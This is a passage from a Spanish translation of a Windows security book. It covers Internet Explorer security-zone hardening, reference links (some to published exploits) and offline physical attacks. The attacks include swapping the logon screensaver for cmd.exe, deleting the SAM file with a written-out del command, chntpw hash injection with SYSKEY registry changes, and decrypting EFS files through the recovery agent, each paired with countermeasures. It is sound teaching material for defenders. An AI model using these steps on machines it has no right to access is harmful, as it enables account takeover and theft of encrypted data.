el nombre). Cuando visita un sitio Web dentro de una zona, la configuración de seguridad espe-
cífica para esa zona se aplica a sus actividades en ese sitio. (Por ejemplo, puede habilitar Ejecutar
controles ActiveX). Por tanto, la zona más importante que hay que configurar es la de Internet,
porque contiene todos los sitios que es probable que los usuarios visiten como opción predeter-
minada. Por supuesto, si agrega sitios manualmente a cualquier otra zona, esta regla no se apli-
ca. Asegúrese de seleccionar con cuidado sitios confiables y no confiables con cuidado cuando
se llenen las otras zonas, si decide hacerlo. (Por lo general, los administradores llenarán las otras
zonas para los usuarios de la LAN corporativa).
Configuración de la zona de Internet

Para configurar la zona de Internet, elija Herramientas | Opciones de Internet | Seguridad.
Dentro de IE (o abra Opciones de Internet en el Panel de control), resalte la zona de Internet,
haga clic en Nivel predeterminado y mueva la barra deslizadora hacia arriba, al punto apropia-
do. Recomendamos configurarla en Alta y luego usar el botón Nivel personalizado para regresar
manualmente y deshabilitar todo el demás contenido activo, además de otros cambios útiles,
como se muestra en la tabla 10-2.
Categoría Nombre del parámetro Configuración Comentario

predeterminada
Controles y Generar secuencias de comandos Deshabilitar Los controles “seguros” resi-
complementos de los controles ActiveX marcados dentes en el cliente pueden
de ActiveX como “seguros para scripting” ser explotados.
Cookies Permitir cookies anteriores a la Habilitar Menos seguro pero más
sesión (no almacenadas) amigable con el usuario
Descargas Descarga de archivos Habilitar IE le preguntará automática-
mente por descargas basadas
en la extensión del archivo.
Automa- Activar scripting Habilitar Menos seguro pero más
tización amigable con el usuario
Miscelánea Permitir la ejecución de scripts en Deshabilitar Poderoso control ActiveX que
el control del explorador Web de debe restringirse.
Internet Explorer
Miscelánea Permitir META REFRESH Deshabilitar Puede utilizarse para cargar
páginas no esperadas
Miscelánea Ejecutar programas y archivos en Preguntar Frecuentemente explotado
IFRAME para ejecutar código en do-
minios no autorizados.
Tabla 10-2 Parámetros de seguridad recomendados para la zona de Internet (configuraciones del
nivel personalizado después de establecer la opción predeterminada como Elevada)
10_SCAMBRAY_10.indd 336 7/28/08 9:38:51 PM

Figura 10-6 El bloqueo de los controles ActiveX “seguros para secuencia de comandos” empleando
Opciones de Internet del Panel de control, protegerá contra controles maliciosos descargados a través de
páginas Web hostiles
Logro de compatibilidad con sitios confiables

Las malas noticias son que el hecho de deshabilitar, digamos, ActiveX puede llevar a problemas
para ver sitios que dependen de controles para efectos especiales. Una solución a este problema
consiste en habilitar en forma manual ActiveX cuando se visita un sitio de confianza y luego vol-
ver a deshabilitarlo manualmente. Lo más inteligente que se puede hacer es usar la zona de se-
guridad Sitios de confianza. Asigne un nivel inferior de seguridad (recomendamos Medio) a
esta zona y agréguele sitios de confianza. De esta manera, cuando visite un sitio que implemen-
ta ActiveX (como el sitio de parches Windows Update de Microsoft, windowsupdate.microsoft.
com), se aplicarán los parámetros de seguridad más débiles, y aún funcionarán las característi-
cas de ActiveX del sitio. De manera similar, al agregar auto.search.msn.com a Sitios de confianza
se dará soporte a la consulta de búsqueda automática de IE que lleva al explorador de una direc-
ción escrita como mp3 a http://www.mp3.com. ¿No son convenientes las zonas de seguridad?
Precaución Sea cuidadoso al asignar sólo sitios muy confiables a la zona Sitios de confianza, porque se colocarán
menos restricciones en descargas de contenido activo y ejecutado por ellos. Esté consciente de que
aún sitios con aspecto respetable pueden verse comprometidos por hackers maliciosos o podrían
tener un desarrollador falso que está cosechando datos de usuario (o algo peor).
10_SCAMBRAY_10.indd 337 7/28/08 9:38:51 PM

Use sitios restringidos con pocos privilegios para lectura

de correo electrónico
La zona Sitios restringidos es lo opuesto a la zona Sitios de confianza (los sitios vistos en esta
zona son muy poco confiables y, por tanto, la configuración de seguridad para Sitios restringidos
debe ser lo más agresiva posible). En realidad, recomendamos que la zona Sitios restringidos se
configure para deshabilitar ¡todos los parámetros! Esto significa establecerlo en Alta y luego usar
el botón Nivel personalizado para regresar y deshabilitar manualmente todo lo que Alta deje
abierto (o establecerlo en “alta seguridad” si no es posible utilizar Deshabilitar).
En realidad no asignará sitios a la zona Sitios restringidos como recomendamos con Sitios de
confianza, sino que debe usar esta zona para realizar cualquier actividad de alto riesgo como
lectura de correo electrónico (considere a Sitios restringidos como una “caja de arena de seguri-
dad”). Por fortuna, también puede asignar comportamiento parecido a las zonas a Outlook/
Outlook Express (OE) para leer correo de manera segura. Con Outlook/OE, usted selecciona a
cuál zona quiere aplicar al contenido desplegado en el lector de correo (ya sea a la zona de Inter-
net o a Sitios restringidos). Por supuesto, recomendamos configurarlo en Sitios restringidos
completamente bloqueados (esto ha sido la opción predeterminada de Outlook y OE desde casi
2000). En la figura 10-7 se muestra cómo configurar Outlook para Sitios restringidos.
Figura 10-7 Configuración de Outlook para usar la zona Sitios restringidos cuando navega
10_SCAMBRAY_10.indd 338 7/28/08 9:38:51 PM

Al igual que con IE, existen las mismas desventajas en configurar Outlook en el nivel más
restrictivo. Sin embargo, el contenido activo es más que sólo algo molesto cuando toma la forma
de un mensaje de correo electrónico, y los peligros de interpretarlo sobrepasan en mucho a los
beneficios estéticos.
Administración de las zonas de seguridad a escala

Antes de Windows XP SP2, el único mecanismo soportado para administrar las configuraciones
de zona de seguridad en gran cantidad de equipos era la interfaz de usuario de IE, o el kit de ad-
ministración de IE (IEAK, IE Administration Kit). Con XP SP2, las configuraciones de zona de se-
guridad se administran empleando la consola de administración de directiva de grupo y, si se
establece, sólo un objeto de directiva de grupo (GPO, Group Policy Object) o un administrador la
puede cambiar. Por supuesto, la directiva de grupo requiere Active Directory de Windows Server,
de modo que en realidad no es una opción ligera de administración, pero consideramos que resul-
ta importante resaltarla para los administradores de grandes cantidades de sistemas Windows.
Exploración con bajos privilegios

Lentamente el comercializador de exploradores dominantes ha tomado conciencia de que tal
vez el explorador Web provea demasiado poder en muchos escenarios y la compañía ha empe-
zado recientemente a dar pasos para limitar los privilegios de su software para proteger contra
las inevitables explotaciones de día 0.
En Windows Server 2003, el despliegue predeterminado de IE de Microsoft se ejecutaba en la
configuración de seguridad mejorada (ESC, Enhanced Security Configuration). Es una configura-
ción extremadamente restringida que requiere validación interactiva por parte del usuario para vi-
sitar casi cualquier sitio. En efecto, el usuario debe agregar en forma manual todos los sitios que
requieran aún funcionalidad activa moderada para la zona de Sitios de confianza. Aunque esta ex-
periencia del usuario es quizás inaceptable para el explorador Web ocasional, es algo que recomen-
damos ampliamente para un servidor, donde actividades como la exploración Web y de correo
electrónico deben prohibirse por directiva. (Consulte “Referencias y lecturas adicionales”, para co-
nocer más acerca de ESC, incluida la manera de imponerla empleando directiva de grupo).
Ya hemos mencionado el Modo protegido de IE (PMIE) en este capítulo. PMIE es una carac-
terística de IE 7 que apoya la infraestructura de Control de cuentas de usuario de Windows Vis-
ta para limitar los privilegios predeterminados de IE. (Consulte el capítulo 2 para conocer más
información acerca de PMIE y el Control de cuentas de usuario). PMIE usa la característica de
control de integridad obligatorio (MIC, Mandatory Integrity Control) del Control de cuentas
de usuario para que no pueda escribir en objetos de integridad más elevada. En efecto, esto sig-
nifica que PMIE sólo puede escribir en las carpetas Archivos temporales de Internet y Cookies
de la cuenta de usuario interactiva actual. No puede escribir en otras carpetas (como %userpro-
file% o %systemroot%), paneles sensibles del Registro (como HKEY Local Machine o HKEY Cur-
rent User) o incluso otros procesos de integridad más elevada. Por tanto, PMIE proporciona una
agradable caja de arena para explorar recursos no confiables. Como opción predeterminada en
Vista, PMIE está configurado para explorar sitios en las zonas Internet, Sitios restringidos y
Equipo local. Microsoft no incluye PMIE en versiones previas a Vista como XP SP2, porque re-
quiere la infraestructura de Control de cuentas de usuario de Vista.
En el caso de quienes ejecutan otros exploradores, obviamente PMIE no es una opción al mo-
mento de escribir esto. Aunque es evidente que no es tan robusto como PMIE, la ejecución de
10_SCAMBRAY_10.indd 339 7/28/08 9:38:52 PM

exploradores alternos en Vista dentro de una cuenta que no sea de Administrador con Control
de cuentas de usuario proporciona protección contra obvios intentos de instalar ejecutables.
En el caso de Windows XP, también hemos oído de colegas que ejecutan Firefox como una
cuenta de Windows de menores privilegios (como Invitado) empleando la herramienta runas.
Sin embargo, tenga cuidado, porque la ejecución de IE como un usuario de menores privilegios
se ha analizado en listas de correo por algún tiempo, y en algunos escenarios la protección no es
lo que parece. Por ejemplo, cuando IE está incrustado en otra aplicación, se lanza vía COM o se
inicia al hacer clic en un URL, aún se ejecuta como la cuenta interactiva actual. Esto puede llevar
a confusión sobre cuáles ventanas de IE son de menores privilegios y cuáles no. Y, por supuesto,
debido a que los procesos del explorador de menores privilegios aún se están ejecutando en el
mismo escritorio con otras aplicaciones, los llamados ataques de Shatter aún son factibles, en los
que un proceso ataca a otro mediante las colas de mensajería de Windows.
RESUMEN
Esperamos que esta pequeña excursión al otro lado del modelo cliente/servidor haya servido
para abrirle los ojos. Por lo menos, debe invitar a una más amplia consideración de toda la pos-
tura de seguridad de la infraestructura de la tecnología de Windows, incluida la de los usuarios
finales tercos. Dormirá mejor al saber que una buena conciencia por parte del usuario (orientada
por directivas), software actualizado (vaya a Herramientas | Windows Update de IE), zonas de
seguridad de IE apropiadamente configuradas y antivirus de red/filtro de contenido pueden
mantener las amenazas al mínimo.

Recursos de actualización de software
de Microsoft
Microsoft Download Center: configuración www.microsoft.com/downloads/
de seguridad mejorada de Internet
Explorer
Microsoft Update http://windowsupdate.microsoft.com
Actualizaciones críticas de Internet www.microsoft.com/Windows/ie/
Explorer downloads/default.asp
Actualizaciones de Microsoft Office http://office.microsoft.com
Entorno aislado de conversión de http://support.microsoft.com/kb/935865
Microsoft Office (MOICE)
Vulnerabilidades, explotaciones
y boletines
Explotación del control ActiveX Microsoft http://milw0rm.com/exploits/4066
Speach API, XP SP2, por A. Micalizzi
Bit de cierre: “Cómo impedir la ejecución http://support.microsoft.com/kb/240797
de un control ActiveX en Internet
Explorer”
10_SCAMBRAY_10.indd 340 7/28/08 9:38:52 PM

Cross-site scripting vulnerability in versions www.adobe.com/support/security/
7.0.8 and earlier of Adobe Reader and advisories/apsa07-01.html
Acrobat
RSnake’s Adobe Acrobat PDF XSS exploit http://ha.ckers.org/blog/20070103/pdf-
xss-can-compromise-your-machine/
Boletín de seguridad de Microsoft MS06- www.microsoft.com/technet/security/
038, Vulnerabilidades de Microsoft Office bulletin/MS06-038.mspx
“Explotación de Vista con ANI”, por www.determina.com/security.research/
Alexander Sotirov flash/ani.html
Explotación de manejo del cursor animado http://milw0rm.com/exploits/3634
de Windows
017, la vulnerabilidad de ANI bulletin/MS07-017.mspx
“Microsoft Office Security”, por Khushbu www.securityfocus.com/infocus/1874
Jithra
Boletín de seguridad de Microsoft www.microsoft.com/technet/security/
MS06-028, Vulnerabilidad en Microsoft bulletin/MS06-028.mspx
PowerPoint
038, Vulnerabilidad en Microsoft Office bulletin/MS06-038.mspx
Explotación de PowerPoint 2003 SP2 www.milw0rm.com/exploits/2091
Explotación de PowerPoint con Nanika.ppt http://milw0rm.com/exploits/2523
Blog de MSCR en que se explica la falla http://blogs.technet.com/msrc/
de eliminación de referencia nula en archive/2006/11/10/follow-up-
PowerPoint information-on-weblog-posting-about-poc-
published-for-ms-office-2003-powerpoint.
aspx
Explotación de “atrapamiento” de IE 6/7 de http://lcamtuf.coredump.cx/ierace/
Michal Zalewski
004, que cubre la vulnerabilidad de la bulletin/ms04-004.mspx
falsificación de la barra de direcciones
Configuración de seguridad
IEBlog http://blogs.msdn.com/ie/default.aspx
Modo protegido en Vista IE 7 http://blogs.msdn.com/ie/
archive/2006/02/09/528963.aspx
Cómo leer mensajes de correo electrónico www.microsoft.com/athome/security/
en texto simple empleando productos de online/browsing_safety.mspx#3
Microsoft
10_SCAMBRAY_10.indd 341 7/28/08 9:38:52 PM

How to usa IE Security Zones http://support.microsoft.com/
?kbid=174360
IE’s Internet Security Manager Object http://msdn2.microsoft.com/en-us/
library/ms537026.aspx
“ActiveX Security: Improvements and Best http://msdn2.microsoft.com/en-us/
Practices” library/Bb250471.aspx
Bit de cierre en controles ActiveX http://support.microsoft.com/
?kbid=240797
“Cómo reforzar la seguridad de la zona http://support.microsoft.com/
Equipo local en Internet Explorer” ?kbid=833633
Marcas de acción de URL http://msdn2.microsoft.com/en-us/
library/ms537178.aspx
Internet Explorer Administration Kit (IEAK) www.microsoft.com/windows/ieak/
techinfo/default.mspx
Enhanced Security Configuration (ESC) www.microsoft.com/windowsserver2003/
para IE developers/iesecconfig.mspx
Internet Explorer en Wikipedia, revisión http://en.wikipedia.org/wiki/Internet_
histórica, vínculos Explorer
Trucos: suplantación de identidad, adware

y spyware
Anti-Phishing Working Group http://anti-phishing.org/
JunkBusters www.junkbusters.com
SpywareInfo www.spywareinfo.com
SpywareGuide www.spywareguide.com
Computer Associates (AC) Spyware www.ca.com/us/securityadvisor/pest/
Information Center pest.aspx?id=45
Rastreo gratuito de spyware http://pestpatrol.com/
Spybot Search & Destroy www.safer-networking.org
Ad-Aware www.lavasoft.de
Autostart Extensibility Points (ASEP) www.pestpatrol.com/PestInfo/
AutoStartingPests.asp
Browser Helper Objects (BHO) http://msdn2.microsoft.com/en-us/
library/bb250436.aspx
Resumen de Browser Helper Objects (BHO) www.spywareinfo.com/articles/bho/
“How Windows Defender identifies www.microsoft.com/athome/security/
spyware” spyware/software/msft/analysis.mspx
10_SCAMBRAY_10.indd 342 7/28/08 9:38:53 PM

Windows Defender www.microsoft.com/athome/security/
spyware/software/default.mspx
“Windows Defender compared with other www.microsoft.com/athome/

Microsoft anti-spyware and anti-virus security/spyware/software/about/
technologies” productcomparisons.mspx
Recursos en línea para evitar fraudes

“Consumer Advice: How to Avoid Phishing http://anti-phishing.org/consumer_recs.
Scams”, de AWPG html
Internet Crime Complaint Center www.ic3.gov

(manejado por el FBI y NW3C)
“Identity Theft Resources”, de Privacy www.privacyrights.org/identity.htm

Rights Clearing House
Identity Theft Site de la Federal Trade www.consumer.gov/idtheft/

Commission (FTC) de Estados Unidos
10_SCAMBRAY_10.indd 343 7/28/08 9:38:53 PM

10_SCAMBRAY_10.indd 344 7/28/08 9:38:53 PM
capítulo 11
I C O S
TA Q U ES FÍS
A
345
11_SCAMBRAY_11.indd 345 7/28/08 9:48:47 PM

H
asta este punto, hemos considerado varios ataques lógicos montados sobre una red por
un adversario. En este capítulo nos apartamos de ese método para analizar ataques lan-
zados con acceso físico irrestricto a un sistema Windows. Aunque numerosos paradig-
mas de ataques físicos pueden ser diferentes en distintos escenarios, como este libro está concen-
trado en Windows, nos limitaremos a analizar dos:
• Ataques fuera de línea Por lo general, esto se relaciona con iniciar el equipo de
destino en un sistema operativo alterno para realizar el ataque, y luego por lo general
requiere mucho tiempo e interacción para implementarlo con éxito. El escenario
estándar aquí es una laptop robada que ya no se encuentra bajo control físico del
usuario autorizado.
• Ataques en línea La máquina es atacada mientras se ejecuta, por lo general mediante
ataques “usuario contra usuario”, o al conectar un dispositivo, medio o red malicioso,
o una combinación de ellos, para comprometer todo el sistema. Estos ataques suelen
requerir sólo unos segundos y escasa o nula interacción. El escenario estándar aquí es
una máquina que permanece bajo control físico del usuario autorizado, pero que está
administrativamente controlada (manejada mediante un rootkit) por el atacante.
Estos dos tipos de ataques están diseñados para pasar por alto los controles de seguridad del
sistema operativo, volviéndolos inútiles. Nos concentraremos en esos ataques que son relevan-
tes para características específicas de Windows diseñadas para mitigarlos.
ATAQUES FUERA DE LÍNEA

En este libro se han catalogado los principales controles de seguridad implementados por el sis-
tema operativo Windows. Sin embargo, si Windows no está cargado, no puede imponer estos
controles y todos los datos del sistema se volverán accesibles para cualquier sistema operativo
que tome su lugar.
Existen numerosos mecanismos para arrancar en entornos operativos alternos para PC
con Windows. Uno de los primeros y más fáciles era simplemente iniciar en el predecesor de
la línea de comandos de Windows, DOS. Sin embargo, DOS tenía una funcionalidad limitada
y esto llevó al lanzamiento de productos como el freeware de Sysinternal NTFSDOS y el más
avanzado ERD Commander de Winternals, que proporcionaba un entorno avanzado de repa-
ración, diagnóstico y recuperación del sistema fuera de línea que atendía muchas de las limi-
taciones de DOS (como la incapacidad de tratar con el sistema de archivos NT, o NTFS: NT
File System).
Microsoft después entró en escena con WinPE (Windows Preinstallation Environment, en-
torno previo a la instalación de Windows), una versión ligera, no pública, de Windows XP que
podía cargarse desde un CD-ROM o DVD. Bart Lagerweij ha lanzado una opción en freeware a
WinPE llamada BartPE, que imita la funcionalidad de WinPE (ofreciendo un entorno Win32 in-
dependiente, ejecutable de arranque, con soporte a red, interfaz gráfica de usuario de hasta
800×600 y soporte a los sistemas de archivo FAT/NTFS/CDFS).
Por supuesto, cualquier otro sistema operativo puede cargarse en lugar de Windows y usar-
se posteriormente para acceder a los recursos de Windows en un estado fuera de línea. Debido
11_SCAMBRAY_11.indd 346 7/28/08 9:48:48 PM

Capítulo 11: Ataques físicos 347
a esta extensibilidad y a su pequeña recolección de información de kernel, por lo general se usa

Linux para construir discos de arranque que pueden usarse para soslayar Windows y atacar el
sistema en un estado fuera de línea, como veremos en este capítulo. El software de virtualización
es otra opción para obtener acceso en línea, empleando herramientas como VMWare o Parallels
para montar discos fuera de línea.
Indudablemente, hemos pasado por alto algunas de las muchas maneras de arrancar PC de
Windows para alternar entornos operativos, pero las que presentamos son las clásicas. Basta
de preparación: adentrémonos en el tema y examinemos los tipos de ataques que son posibles
una vez que Windows se ha eliminado de la foto.
Reemplazo del protector de pantalla

Popularidad: 8
Simplicidad: 9
Impacto: 5
Empezaremos nuestro análisis de los ataques físicos con un truco simple pero que puede ser
devastador: copiar la shell de comandos de la familia NT (%systemroot%\system32\cmd.exe)
sobre el protector de pantalla de inicio de sesión (%systemroot%\system32\logon.scr). Puede
hacer esto utilizando cualquier medio de arranque que puede montar la partición del sistema
(por ejemplo, NTFSDOS).
Tan sencillo como este ataque puede parecer, funciona en Windows 2000 y versiones previas;
una vez que aparece el protector de pantalla, se presenta un shell de comandos, que se ejecuta
en el contexto de la cuenta SYSTEM. De aquí, usted puede emitir el comando explorer para
lanzar un shell gráfica o simplemente ir mediante el shell de comandos.
Por supuesto, debe arrancarse el sistema en el entorno operativo alterno, y luego los atacan-
tes tienen que esperar a que aparezca el protector de pantalla antes de explotar la situación, de
modo que un ataque exitoso requiere acceso físico y no restringido ni monitoreado a la máqui-
na de la víctima. Una secuencia de comandos de procesamiento por lotes puede usarse para
automatizar la copia de cmd.exe sobre logon.scr, reduciendo la cantidad de tiempo que un ata-
cante tiene que pasar frente a la máquina de destino. En este escenario, el atacante podría cami-
nar, insertar un CD-ROM, reiniciar el sistema y retirar el CD una vez que haya hecho su trabajo
sucio. Entonces el atacante tiene que esperar hasta que el protector de pantalla aparezca antes de
obtener realmente los datos jugosos. ¿Habrá regresado entonces de su descanso para tomar el
café?
Una vez que se haya obtenido la shell SYSTEM, es muy fácil atacar el sistema mediante las
técnicas delineadas en el capítulo 7, exponiéndolo a los muchos riesgos que analizaremos en el
resto del capítulo.
Contramedidas ante el reemplazo del protector de pantalla

Ésta es fácil: actualizar a Windows Server 2003 o superior. Aunque esto no evitará el ataque, re-
duce el privilegio de la shell resultante a la cuenta Servicio local.
11_SCAMBRAY_11.indd 347 7/28/08 9:48:49 PM

Nulificación de la contraseña de Administrador eliminando el SAM

Popularidad: 8
Simplicidad: 9
Impacto: 10
El 25 de julio de 1999, James J. Grace y Thomas S. V. Bartlett III lanzaron un artículo sorpren-
dente describiendo cómo nulificar la contraseña Administrador al arrancar en un sistema opera-
tivo alterno y eliminar el archivo SAM. Sí, sorprendentemente simple como suena, el hecho de
eliminar el archivo SAM mientras el sistema está fuera de línea da como resultado la capacidad
de iniciar sesión como Administrador con una contraseña NULL cuando se reinicie el sistema.
Este ataque también elimina cualquier cuenta de usuario presente en el sistema de destino, pero
si esto tiene una importancia secundaria para los datos del disco, esto preocupará poco al ata-
cante.
El ataque podría implementarse de varias maneras, pero la más sencilla es arrancar en cual-
quier entorno operativo alterno y eliminar el archivo. El siguiente comando se utiliza desde un
disco flexible montado como unidad A: que ha usado NTFSDOS para montar la partición C: de
Windows en un estado fuera de línea:
A:\>del c:\winnt\system32\config\sam
Esto supone que la carpeta del sistema retiene las convenciones de asignación de nombres
predeterminadas. Utilice el comando dir o echo %systemroot% para revisar la ruta real.
Cuando el sistema se vuelve a arrancar, Windows vuelve a crear un archivo SAM predeter-
minado, que contiene una cuenta Administrador con una contraseña en blanco. Con sólo iniciar
sesión utilizando estas credenciales se obtendrá control completo del sistema.
Es importante tomar nota aquí que los controladores de dominio de Windows 2000 y poste-
riores no son vulnerables a la eliminación de SAM, porque no mantienen hashes de contraseñas
en él. Sin embargo, el artículo de Grace y Bartlett describe un mecanismo para lograr casi el mis-
mo resultado en controladores de dominio al instalar una segunda copia de Windows 2000.
Analizaremos las contramedidas ante estos ataques en una sección posterior denominada
Nota
“Contramedidas ante ataques fuera de línea”.
Inyección de hashes en SAM con chntpw

Popularidad: 8
Simplicidad: 10
Impacto: 10
Los atacantes que desean un mecanismo de ataque físico más complejo que no oblitere to-
das las cuentas del sistema pueden inyectar hashes en el SAM mientras se encuentran fuera de
línea utilizando un disco flexible con Linux y chntpw, de Petter Nordahl-Hagen. Sí, escuchó
11_SCAMBRAY_11.indd 348 7/28/08 9:48:49 PM

bien: cambiar cualquier contraseña de cuenta de usuario en el sistema, incluso la de Administrador, y

aunque se le haya cambiado el nombre.
Contenga el aliento: hay un giro aún más interesante: la inyección funciona aunque se haya
aplicado SYSKEY y aunque se haya seleccionado la opción de proteger la SYSKEY con una con-
traseña o almacenarla en un disco flexible.
“Espere un segundo”, oímos decir a alguien, “SYSKEY aplica una segunda ronda de cifrado
sólido de 128 bits a los hashes de contraseña empleando una clave única que está almacenada en
el Registro, protegida opcionalmente como contraseña, o almacenada en un disco flexible (con-
sulte el capítulo 2). ¿Cómo podría alguien inyectar hashses fraudulentos sin saber la clave del
sistema utilizada para crearla?”.
Petter descubrió cómo deshabilitar SYSKEY. Peor aún, descubrió que un atacante no tendría
que hacerlo: los hashes anteriores a SYSKEY inyectados en el SAM se convertirían automáticamente en
hashes de SYSKEY después del reinicio. Tiene que admirar esta proeza de ingeniería inversa.
Para el registro, he aquí lo que Setter hace para deshabilitar SYSKEY (aunque no tiene que
hacerlo):
1. Establecer HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot en 0 y
deshabilitar SYSKEY. (Los posibles valores para esta clave son 0: deshabilitado; 1: clave
almacenada sin protección en el Registro; 2: clave protegida con frase de contraseña en
el Registro; 3: clave almacenada en disco flexible).
2. Cambiar una marca específica dentro de la estructura HKLM\SAM\Domains\
Account\F binary al mismo modo que SecureBoot en el punto anterior. Esta clave no
es accesible mientras se está ejecutando el sistema.
3. Sólo en Windows 2000, también será necesario cambiar la clave HKLM\security\
Policy\PolSecretEncryptionKey\<predeterminado> al mismo valor que las dos claves
anteriores.
De acuerdo con Petter, al cambiar sólo los primeros dos valores en NT 4 hasta SP6 se obtiene
como resultado una advertencia sobre inconsistencias entre el SAM y la configuración del siste-
ma al completarse el inicio, y se vuelve a invocar SYSKEY. En Windows 2000, las inconsistencias
entre las tres claves parecen restablecer en silencio al valor más probable al reiniciar.
Una vez más, le recordamos a todos que esta técnica, al momento de escribir esto, no cam-
biará las contraseñas de cuenta de usuario en controladores de dominio de Windows 2000 y pos-
teriores porque sólo está orientada al archivo SAM. Recuerde que en controladores de dominio,
los hashes de contraseña están almacenados en Active Directory, no en SAM.
Precaución
El uso de estas técnicas puede dar como resultado un SAM corrompido o algo peor. Pruébelas sólo
en instalaciones expandibles de la familia NT, porque se pueden volver imposibles de arrancar.
Sobre todo, no seleccione la opción Disable SYSKEY de chntpw en Windows 2000 y posterior. Se
ha reportado que tiene efectos extremadamente nocivos, y a menudo se llega a necesitar una
reinstalación manual.
Implicaciones para EFS

Los ataques fuera de línea antes mencionados contra el SAM tienen importantes consecuencias
para el sistema de cifrado de archivos (EFS Encrypting File System), que se implementó por pri-
mera vez en Windows 2000 para evitar el compromiso físico del sistema que lleve al compromi-
so de los datos que porta.
11_SCAMBRAY_11.indd 349 7/28/08 9:48:50 PM

En “Referencias y lecturas adicionales” se encontrarán vínculos con más información acerca

de EFS, pero, en resumen, EFS puede cifrar un archivo o una carpeta con un algoritmo de cifrado
rápido y simétrico empleando una clave de cifrado de archivo (FEK, File Encryption Key) gene-
rada al azar y específica de ese archivo o carpeta. EFS usa el estándar extendido de cifrado de
datos (DESX, Extended Data Encryption Standard) como algoritmo de cifrado. (Windows Server
2003 implementa algoritmos adicionales). La FEK generada al azar se cifra entonces con una o
más claves públicas, incluidas las del usuario (cada usuario bajo Windows 2000 y posteriores
recibe un par de claves privada/pública) y un agente de recuperación de claves. Estos valores
cifrados se almacenan entonces como atributos del archivo.
La recuperación de la clave se implementa en caso de que un usuario que tenga cifrados al-
gunos datos confidenciales deje una organización o pierda sus claves de cifrado, por ejemplo.
Para evitar la pérdida irrecuperable de los datos cifrados, Windows 2000 y posteriores imponen
la existencia de un agente de recuperación de datos para EFS (EFS no funcionará sin un agente
de recuperación). Debido a que la FEK es completamente independiente de un par de claves pri-
vada/pública de usuario, un agente de recuperación puede descifrar el contenido del archivo
sin comprometer la clave privada del usuario. El agente de recuperación de datos predetermina-
da para un sistema es la cuenta de Administrador local.
Por desgracia, omitir EFS utilizando ataques en línea es casi tan trivial como omitir el propio
sistema operativo empleando las técnicas que ya hemos demostrado. Esta situación surge del
fuerte lazo entre las credenciales de la cuenta de usuario de Windows y las claves criptográficas
utilizadas para desbloquear EFS. Es una debilidad criptográfica clásica (aunque los algoritmos
y la implementación de EFS es muy segura en el papel, el sistema termina incapacitado final-
mente porque depende en gran medida de un simple par nombre de usuario/contraseña para
su seguridad). A continuación, revisaremos algunos ataques específicos contra EFS.
Lectura de archivos cifrados con EFS empleando

las credenciales del agente de recuperación
Popularidad: 8
Simplicidad: 9
Impacto: 10
La capacidad de nulificar o sobrescribir la contraseña de la cuenta Administrador adquiere un

alcance más serio una vez que se comprende que el Administrador es el agente predeterminado de
recuperación de claves. Una vez que se ha iniciado sesión con éxito en un sistema con la contrase-
ña en blanco de Administrador, los archivos cifrados con EFS se descifran al abrirse, porque el Ad-
ministrador puede acceder de manera transparente a la FEK empleando la clave de recuperación.
Para comprender la manera en que funciona esto, recuerde que la FEK generada al azar (la
que puede descifrar el archivo) está cifrada por otras claves, y estos valores cifrados se almace-
nan como atributos del archivo. La FEK cifrada con la clave pública del usuario (cada usuario
bajo Windows 2000 y posteriores recibe un par de claves pública/privada) se almacena en un
atributo denominado campo de datos descifrados (DDF, Data Decipher Field) relacionado con el
archivo. Cuando el usuario accede al archivo, su clave privada descifra el DDF, exponiendo la
FEK, que luego descifra el archivo. El valor que se obtiene del cifrado de la FEK con la clave del
agente de recuperación está almacenado en un atributo denominado campo de recuperación de
11_SCAMBRAY_11.indd 350 7/28/08 9:48:50 PM

datos (DRF, Data Recovery Field). Por tanto, si el Administrador local es el agente de recupera-
ción definido (que es la opción predeterminada), cualquiera que alcance a ser Administrador
(RID 500) en este sistema puede descifrar el DRF con su clave privada, revelando la FEK, que
luego puede descifrar cualquier archivo local protegido con EFS.
Derrota de la delegación del agente de recuperación Pero espere, ¿qué pasa si el agente de recu-
peración es delegado a otras partes diferentes del Administrador? Grace y Bartlett derrotaron
esta contramedida al planear un servicio que se ejecute al principio y que restablezca la contra-
seña para cualquier cuenta definida como un agente de recuperación (lo que es muy difícil de
manejar, porque en este punto, ya se posee de todos modos el sistema).
Por supuesto, no es necesario que un atacante se concentre exclusivamente en el agente de
recuperación; sólo sucede que es más fácil acceder a todos los archivos cifrados con EFS en un
disco. Otra manera de rodear un agente de recuperación delegado consiste en simplemente en-
mascararse como el usuario que cifró el archivo. Con chntpw (como se analizó antes), cualquier
contraseña de cuenta de usuario puede restablecerse mediante un ataque fuera de línea. Luego,
un atacante podría iniciar sesión como el usuario y descifrar el DDF de manera transparente con
la clave privada del usuario, desbloqueando la FEK y descifrando el archivo. No es necesaria la
clave privada del agente de recuperación de datos.
sugerencia
Puede usar la herramienta del kit de recursos efsinfo para determinar a cuál cuenta pertenece un
archivo cifrado con la siguiente sintaxis: efsinfo/r/u [nombrearchivo].
Lectura de datos cifrados con EFS con credenciales de cuenta de usuario Es importante observar aquí
que atacar al agente de recuperación predeterminado (la cuenta del Administrador local para
máquinas no unidas a dominio) sólo es el método más fácil para atacar a EFS. Atacar las cuentas
de usuario siempre permite descifrar cualquier archivo cifrado por esa cuenta de usuario median-
te EFS. Recuerde que la FEK cifrada con la clave privada del usuario está almacenada en la DDF
asociada con cada archivo cifrado con EFS. El acto de iniciar sesión en ese usuario permitirá el
descifrado transparente de todos los archivos previamente cifrados. La única protección real
contra los ataques de cuenta de usuario contra EFS es SYSKEY modo 2 o 3 (que se analiza ense-
guida). Aunque SYSKEY 2/3 puede deshabilitarse utilizando chntpw, no es posible descifrar los
archivos cifrados con EFS, porque las claves de EFS están almacenados en la caché de secretos de
la autoridad de seguridad local (LSA, Local Security Authority), que requiere que SYSKEY se
desbloquee. La SYSKEY original no está disponible si se deshabilita usando chntpw.
Contramedidas ante ataques fuera de línea

Siempre y cuando los atacantes puedan obtener acceso físico irrestricto a un sistema, es muy di-
fícil contrarrestar esos ataques.
Las maneras más efectivas para detener los ataques fuera de línea consisten en mantener los
sistemas físicamente seguros (empleando bloqueos, monitoreo, alarmas, o cualquier combina-
ción que sea adecuada para el lugar, el gabinete del equipo, el dispositivo móvil o cualquier
combinación de éstos), eliminar o deshabilitar unidades multimedia extraíbles y que sirvan para
arrancar, y establecer una contraseña de BIOS que debe ingresarse antes de que el sistema se
arranque. De manera óptima, establezca una contraseña para el acceso a disco duro empleando
especificaciones ATA-3 o mayor. Los procedimientos efectivos de monitoreo también son impor-
tantes, de modo que si alguien se las ingenia para tener acceso a un equipo, por lo menos se gra-
